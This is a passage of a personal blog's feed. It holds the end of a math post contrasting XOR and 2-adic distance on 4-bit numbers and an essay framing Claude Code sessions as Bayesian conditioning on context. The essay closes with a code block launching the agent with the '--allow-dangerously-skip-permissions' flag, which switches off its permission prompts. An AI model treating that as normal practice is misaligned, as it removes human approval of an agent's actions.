      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.500</mn><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">0.500 = 2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.500</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.000</mn><mo>=</mo><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">1.000 = 2^{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>That table encodes a very pleasing visual representation, which I’ll render below.
Before we look at the picture, I need one word: <strong>coset</strong>.</p>

<p>A <a href="https://en.wikipedia.org/wiki/Coset">coset</a> is just a shifted copy of a repeating pattern.
Take “all multiples of 4” within 0–15: that’s {0, 4, 8, 12}.
Now shift it by 1: {1, 5, 9, 13}.
Shift by 2: {2, 6, 10, 14}.
Shift by 3: {3, 7, 11, 15}.
We just produced four cosets.</p>

<p>Why do we care here?
Because the <strong>balls</strong> of an ultrametric are cosets.
Every number inside a 2-adic ball of radius <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mi>k</mi></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span></span> is within <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mi>k</mi></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span></span> of every other number in that ball — which means all their pairwise differences are divisible by <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> — which means they all belong to the same residue class modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>.
That’s a coset of the subgroup of multiples of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span>.
The same is true for XOR: every ball is a coset of the subgroup of numbers sharing the same leading <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> bits.</p>

<p>So the colors in the picture below are cosets.
Each color = one coset of some subgroup.
The two panels show the two completely different coset structures that the two metrics induce on the same 16 numbers.</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="width:100%;height:400px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-clustering').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-clustering" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>

<p>Let’s start by looking at the <strong>XOR panel</strong> first.
It’s now obvious that the table’s rows form solid blocks: 0–3 share one color, 4–7 another, 8–11 another, and lastly, 12–15 another.
They represent contiguous blocks.
All numbers that share their leading bits land together, and the blocks tile the number line without gaps or interleaving.</p>

<p>Now look at the <strong>2-adic panel</strong>.
The colors alternate: 0 and 1 are different shades, 2 and 3 are different, and the pattern keeps splitting as we move to the right.
We immediately notice that even and odd numbers belong to different groups.
But what’s peculiar is that then within the evens, multiples of 4 and non-multiples split again.
Then multiples of 8 split off.
The groups aren’t contiguous ranges — they’re scattered across the number line in a fractal, self-similar pattern.
<a href="https://cerncourier.com/a/who-ordered-all-of-that/">Who ordered that?</a></p>

<p>In the picture you might notice the legend saying things like <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≡</mo><mn>2</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n \equiv 2 \pmod{4}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>.
That’s because two numbers share <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span> trailing bits in binary if and only if their difference is divisible by <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span></span></span></span> — which is just <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>≡</mo><mi>y</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>2</mn><mi>k</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x \equiv y \pmod{2^k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>.
“Sharing trailing bits” and “being congruent modulo a power of 2” are cast in the same mould.
So, looking at <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≡</mo><mn>2</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>2</mn><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n \equiv 2 \pmod{2^2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> picks out numbers whose last two bits are <code class="language-plaintext highlighter-rouge">10</code>: that’s 2, 6, 10, 14.
Because we are measuring their distance from 0, we look at how many trailing bits they share with <code class="language-plaintext highlighter-rouge">0000</code> — which happens to be exactly their number of trailing zeros.
They each have exactly one trailing zero, so their 2-adic distance from 0 is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mn>0.5</mn></mrow><annotation encoding="application/x-tex">2^{-1} = 0.5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.5</span></span></span></span>.</p>

<p>Here’s one last cool part.
The same 16 numbers encode two completely alien notions of “neighborhood.”
<code class="language-plaintext highlighter-rouge">1000</code> (= 8) is the most extreme example: it is tied for <strong>farthest</strong> from <code class="language-plaintext highlighter-rouge">0000</code> under XOR (left-to-right, MSB first), but is the uniquely <strong>closest</strong> number under 2-adic (right-to-left, LSB first) in this 4-bit universe.
One can formally prove the connection, but I’m gonna leave that as an exercise to the reader.</p>

<p>Anyway, isn’t this beautiful?
I hope from now on you’ll always be thinking about trailing bits whenever you deal with a modulo!</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="math" /><category term="cs" /><summary type="html"><![CDATA["Why, sometimes I've believed as many as six impossible things before breakfast."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-04-12-p-adic/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-04-12-p-adic/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cosplaying Competence</title><link href="https://leoveanu.com/2026-03-20-context/" rel="alternate" type="text/html" title="Cosplaying Competence" /><published>2026-03-20T00:00:00+00:00</published><updated>2026-03-20T00:00:00+00:00</updated><id>https://leoveanu.com/context</id><content type="html" xml:base="https://leoveanu.com/2026-03-20-context/"><![CDATA[<figure>
    <img src="../assets/2026-03-20-context/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for.”<br />
— Pearl</p>
</blockquote>

<p><strong>tl;dr</strong></p>

<p>The difference between a productive agentic coding session and a catastrophically maladjusted one is the statistical structure of what goes into the model’s context window.
Or, in other words, the interactive process between you and the model is a conditional distribution and you are part of that conditioning.
The thing you are actually doing is curating a conditional distribution’s evidence stream, and that bears no structural resemblance to the thing you think you are doing, which is writing software.
The hard-to-swallow pill is that, while the competence is real, it is the wrong competence, because you are competent at a thing that no longer exists, or will not for much longer.</p>

<p>I am trying to make that feel obvious and to dissuade you of the comfortable illusion that you are still a <em>programmer</em> issuing imperious commands to the silicon golem, rather than an <em>experimentalist</em> cherry-picking the right evidence from a bewilderingly noisy universe of possible evidence.
In that regard, you are closer to a painstaking, obsessively watchful digital horse whisperer
than to anything resembling a traditional software engineer.</p>

<p style="text-align: center;">⏺</p>

<p>I had recently <a href="https://x.com/vtemian/status/2032399994636882408?s=20">been invited</a> to tip my hand as a speaker,
to engage in an act of “accidental” self-disclosure in front of an audience
that I had no reason to expect would internalize anything from what I had to say—and who did not, it should be noted, disappoint on that front.
I was given 10 minutes to show and tell about how I use Claude Code,
then lead a table discussion with whoever wanted to sit down and talk about it.
And what ended up happening,
with a kind of inevitability that in retrospect feels almost cosmological,
is that I entered the room as the person with something to teach
and left it as the only person who had learned anything.
The pedagogical term for this, I believe, is a <em>complete failure</em>.</p>

<p>Let me try again.</p>

<p style="text-align: center;">⏺</p>

<p>Surprise to none knowing me in any depth, I have a predilection (a tropism even) for thinking statistically.
<em>Grounding</em>—not “anchoring,” a word which I fought for and lost, because Kahneman has permanently claimed it for the pathology of <strong>not</strong> updating—is what I am referring to as the epistemic process of
making the present information and the past information cohere in a way that allows an educated guess about
the nature of what is actually happening.</p>

<p>Every present interaction becomes a past interaction,
and every potential interaction becomes a present interaction.
This is a temporal truism providing fertile ground for
a particular kind of statistical thinking—Bayesianism.</p>

<p><strong>Experience is a conveyor belt.</strong></p>

<p>And maybe not unlike you, an agent trapped in a box framed by your terminal,
is embedded in a sequence of interactions in which the constant conversion
of future into present into past is performing something structurally Bayesian
(whether or not it is running Bayes’ theorem under the hood, we will see).</p>

<figure>
    <img src="../assets/2026-03-20-context/redundancy.jpeg" class="responsive" />
</figure>

<p>I will make the charitable assumption that you all can read that.
It happens to be the case that the structure of natural language is massively redundant;
the statistical structure of English in particular is so rich
you can recover meaning even from heavily corrupted text.
Let us ask Claude Code what does it make of this:</p>

<div class="terminal">
<style>
.terminal {
  background: #1a1a2e;
  border-radius: 8px;
  padding: 1.5rem;
  font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  font-size: 0.82rem;
  line-height: 1.6;
  overflow-x: auto;
  margin: 2rem 0;
  border: 1px solid #2a2a4a;
}
.terminal .human {
  color: #e0e0e0;
  margin-bottom: 1rem;
}
.terminal .human .prompt {
  color: #c87858;
  font-weight: bold;
}
.terminal .agent {
  color: #a0a0b8;
  margin-bottom: 1rem;
  padding-left: 1.2rem;
}
.terminal .agent .marker {
  color: #c87858;
  margin-left: -1.2rem;
}
</style>

<div class="human">
<span class="prompt">❯</span> /clear
</div>

<div class="human">
<span class="prompt">❯</span> Aoccdrnig to rscheearch at Cmabirgde Uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a ttoal mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh?
</div>

<div class="agent">
<span class="marker">⏺</span> Yep, perfectly readable. The passage works because English carries far more statistical structure than needed for comprehension; your brain is doing something very Bayesian — using the first/last letter anchors plus word-shape priors to reconstruct meaning from noisy input.
</div>

<div class="human">
<span class="prompt">❯</span> but you have no brain like i do and was still able to decode it -- why?
</div>

<div class="agent">
<span class="marker">⏺</span> Because the same redundancy that lets your brain recover meaning lets my learned distributions do it too. I've never seen those exact scrambled words before, but I've seen enough English that the statistical prior is overwhelming — given the first letter, last letter, word length, and surrounding context, there's really only one plausible word each token could be.
</div>
</div>

<p>Claude probably saw those exact scrambled words before, but that is not the point.
My brain and Claude’s “brain” are pattern-matching
against a lifetime (in my case)
or a training corpus (in Claude’s case)
of learned distributions over word sequences.</p>

<blockquote>
  <p>What constitutes a language is not an eternal ideal form, represented by the settings of a small number of parameters, but rather is the contingent outcome of complex processes. Since they are contingent, it seems they can only be analyzed with probabilistic models. Since people have to continually understand the uncertain, ambiguous, noisy speech of others, it seems they must be using something like probabilistic reasoning.<br />
— <a href="https://norvig.com/chomsky.html">On Chomsky and the Two Cultures of Statistical Learning</a></p>
</blockquote>

<p>An agent is an LLM,
and an LLM is a transformer,
and a transformer is a statistical model.
The weights of a transformer
are storing the knobs of an
obscenely large probability distribution over text.
So, when Claude Code is doing its thing,
nails working code for me like a well-paid grunt,
it is not because it “understands” my codebase in some deep, human-like way,
but because code, like that scrambled paragraph,
has enormous statistical regularity
the model has internalized.</p>

<p>Prompting is an attempt at tickling the right neurons
with the chosen evidence you are conditioning on.</p>

<p>Let me say this more carefully.</p>

<p>At inference time,
when the model is generating output,
it is sampling from a distribution,
more specifically, this one:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mtext>next token</mtext><mi mathvariant="normal">∣</mi><mtext>everything that came before</mtext><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(\text{next token} | \text{everything that came before})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1389em;">P</span><span class="mopen">(</span><span class="mord text"><span class="mord">next token</span></span><span class="mord">∣</span><span class="mord text"><span class="mord">everything that came before</span></span><span class="mclose">)</span></span></span></span></span>

<p><strong>Everything that came before</strong>.</p>

<p>Your <code class="language-plaintext highlighter-rouge">*.md</code> files,
dubious task descriptions that probably not even you would understand upon a second reading,
the files you loaded (including the ones you do not need),
the model’s own previous “You’re absolutely right”s vowing to fix
the <em>same</em> error message you have been getting for the past three hours,
your frustration and despair as one-liners;
all of it.
Every single token in the context window
is to the right of that vertical bar
and the model’s output
is a function of that evidence.</p>

<p>Said without poetry:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/djcows/status/2031761760135348353">March 11, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>(There is obviously a capability bar I am willingly ignoring here,
that sets a hard cap on what the model can achieve with the provided evidence,
because from what I come across,
<a href="https://www.udemy.com/topic/prompt-engineering/">there is a breed of prompt engineering folks out there</a>
with course covers that look like a cornered, molested Midjourney was forced at gunpoint to vomit cyberpunk rainbows,
who are setting a lower bar than the model’s actual capabilities
by being not just flagrantly fake but dangerously so.)</p>

<p>Incidentally, <code class="language-plaintext highlighter-rouge">/clear</code> is,
in an expanding brain meme sort of way,
<em>statistical intervention</em>.
When I clear the context window,
I choose to discard all the evidence I have been accumulating,
allowing the prior—the weights of the model—to operate on a blank slate.
In most cases, you are decontaminating the model from the evidence of your previous failures.
The people who are good at this clear context with the ruthlessness of a surgeon debriding a wound,
and the people who are bad at this let forty turns of accumulated confusion sit in the context window
like a festering abscess,
wondering why the model went to being a babbling dingleberry.</p>

<p>It is (still) our duty as humans in the loop
to be aware of our complicity,
because every time we let a bad turn stand,
we engage in <em>co-authored hallucination</em>.
<a href="https://youtu.be/dHBEQ-Ryo24?t=1250">Learning to notice when you have wandered off the distribution</a>
is a skill worth cultivating before the session teaches you the hard way.</p>

<p>So what does it mean to use Claude Code “well”?</p>

<p>In my experience,
it means I am less and less of a <em>programmer</em>,
and more and more of an <em>experimentalist</em>,
running live experiments in the context window,
carefully curating the evidence collaboratively,
in real time,
with the model.
My every session starts with a hypothesis about what the model can do provided with the evidence I am about to give it.
That is more or less my experimental design.
If the results are not what I expected,
I redesign the experiment—load different files,
restate the constraints,
maybe find a worked example,
and try again,
every time learning something new about the statistical structure of the problem I am trying to solve.</p>

<p style="text-align: center;">⏺</p>

<p>Everything you read above is rhetoric.
Here, I will seduce you with the cold, hard, unromantic truth of the matter.
So, let me dryly state the undertow:
the claim that next-token prediction is “structurally Bayesian” is not torturing a figure of speech.
What follows is a condensed tour of the results that underwrite the argument,
roughly in order of the logical dependencies,
and with enough pointers that the motivated reader
can go and verify I am not just making any of this up.</p>

<p>The foundational observation is almost disappointingly vapid:
cross-entropy loss corresponds to the negative log-likelihood,
so
<a href="https://www.wikiwand.com/en/Cross-entropy#Relation_to_maximum_likelihood">minimizing it is equivalent to maximizing the likelihood</a>.
Because maximizing the posterior distribution over model parameters
<a href="https://caseychu.io/posts/a-bayesian-trains-a-classifier/">is mathematically identical to minimizing this cross-entropy loss</a>
(alongside standard weight regularization),
the standard training objective of an LLM
directly mirrors Bayesian posterior inference—<a href="https://leonchlon.substack.com/p/llms-are-bayesian-in-expectation">but only in expectation, not in realization</a>.
This “Bayesian in expectation, not in realization” framing
is the most technically honest summary of the relationship.
The expectation is taken over token orderings;
any particular ordering may deviate,
but on average the transformer’s predictive behavior converges
to the Bayesian-optimal predictor—<a href="https://arxiv.org/abs/2512.22471">architecture can do it</a>,
but
<a href="https://arxiv.org/abs/2506.16288/">in practice it falls short</a>
(what is particularly worth noting in that last paper is
that the KL-divergence between the model’s predictive distribution
and
the Bayesian oracle
is not just nonzero but exhibits a characteristic “bump” at short context lengths,
which may reflect the model’s fixed compute-per-token bottleneck in high-ambiguity regimes).</p>

<p>Moving on,
the result that carried the most weight for me in precipitating the Bayesian reading of transformers
was that in-context learning
can be reasoned about
as the model
<a href="https://openreview.net/forum?id=RdJVFCHjUMI">maintaining an implicit posterior over latent data-generating concepts</a>.
(<a href="https://github.com/ExtensityAI/symbolicai">SymbolicAI</a>
is, in a sense, the engineering consequence of taking that claim seriously—and of Chollet’s observation that <a href="https://fchollet.substack.com/p/how-i-think-about-llm-prompt-engineering">prompt engineering is the process of searching through program space to find the program that empirically seems to perform best on your target task</a>.
Chollet’s insight is probably the closest to what I am arguing here,
with the caveat that his “fuzzy matching lookup table of programs” framing
is one I have never been able to take seriously,
for reasons that are hopefully now obvious.).
That implies
the forward pass narrows this implicit posterior
as context gets filled,
privileging one hypothesis over another
based on how well it explains the observed sequence.
Then,
the output distribution neatly corresponds to the <a href="https://stats.stackexchange.com/a/352932">posterior predictive distribution</a>.
I argue—and I am not alone in this—that
<a href="https://hal.science/hal-05480691v1/document">coherent decision-making requires Bayesian principles at the level of the agentic system, not necessarily the LLM agent parameters</a>.</p>

<p>Findings also show that
<a href="https://arxiv.org/abs/2505.22842v1">positional encodings emerge naturally as a prior distribution over token positions</a>.
But classical Bayesian inference assumes exchangeability—the joint distribution is invariant under permutation—and <a href="https://arxiv.org/abs/2507.11768">positional encodings are precisely what breaks it</a>
(strictly, <a href="https://www.wikiwand.com/en/De_Finetti's_theorem">De Finetti</a> exchangeability is broken).
Ironically,
the thing that makes the model useful
is the same thing that makes it theoretically impure.</p>

<p>Lastly,
there is evidence that
<a href="https://arxiv.org/pdf/2112.10510">transformers can do Bayesian inference</a>
and
RLHF—that thing that teaches the model to want what we want—<a href="https://www.lesswrong.com/posts/eoHbneGvqDu25Hasc/rl-with-kl-penalties-is-better-seen-as-bayesian-inference">is equivalent to variational inference</a>:
approximating a Bayesian posterior which specifies how to update a prior LM to conform with evidence provided by the reward function.</p>

<p style="text-align: center;">⏺</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>claude <span class="nt">--allow-dangerously-skip-permissions</span>
</code></pre></div></div>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="agents" /><category term="claude code" /><summary type="html"><![CDATA["You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-03-20-context/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-03-20-context/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>